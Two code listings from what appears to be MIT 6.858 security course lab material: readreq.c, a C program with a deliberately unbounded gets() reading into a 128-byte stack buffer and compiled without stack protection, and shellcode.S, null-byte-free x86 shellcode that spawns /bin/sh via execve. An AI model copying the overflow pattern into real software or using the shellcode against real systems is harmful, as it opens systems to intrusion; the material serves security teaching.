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readreq.c

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```

1  /*
2  * readreq.c
3  * (MIT 6.858)
4  * compile with
5  * $ gcc -g -Wall -m32 -fno-stack-protector -o readreq readreq.c
6  */
7  #include <stdio.h>
8  #include <stdlib.h>
9
10 char *
11 gets(char *buf) {
12     int c;
13     while((c = getchar()) != EOF && c != '\n')
14         *buf++ = c;
15     *buf = '\0';
16     return buf;
17 }
18
19 int
20 read_req(void) {
21     char buf[128];
22     int i;
23     gets(buf);
24     i = atoi(buf);
25     return i;
26 }
27
28 int
29 main() {
30     int x = read_req();
31     printf("x=%d\n", x);
32 }
33

```

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shellcode.S

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```

1  /* shellcode.S
2  * (MIT 6.858, derived from Aleph One's shellcode)
3  */
4
5  #include <sys/syscall.h>
6
7  #define STRING "/bin/sh"
8  #define STRLEN 7
9  #define ARGV (STRLEN+1)
10 #define ENVP (ARGV+4)
11
12 .globl main
13     .type main, @function
14
15 main:
16     jmp calladdr
17
18 popladdr:
19     popl %esi
20     movl %esi,(ARGV)(%esi) /* set up argv pointer to pathname */
21     xorl %eax,%eax /* get a 32-bit zero value */
22     movb %al,(STRLEN)(%esi) /* null-terminate our string */
23     movl %eax,(ENVP)(%esi) /* set up null envp */
24
25     movb $SYS_execve,%al /* syscall arg 1: syscall number */
26     movl %esi,%ebx /* syscall arg 2: string pathname */
27     leal ARGV(%esi),%ecx /* syscall arg 2: argv */
28     leal ENVP(%esi),%edx /* syscall arg 3: envp */
29     int $0x80 /* invoke syscall */
30
31     xorl %ebx,%ebx /* syscall arg 2: 0 */
32     movl %ebx,%eax
33     inc %eax /* syscall arg 1: SYS_exit (1), uses */
34 /* mov+inc to avoid null byte */
35     int $0x80 /* invoke syscall */
36
37 calladdr:
38     call popladdr
39     .ascii STRING

```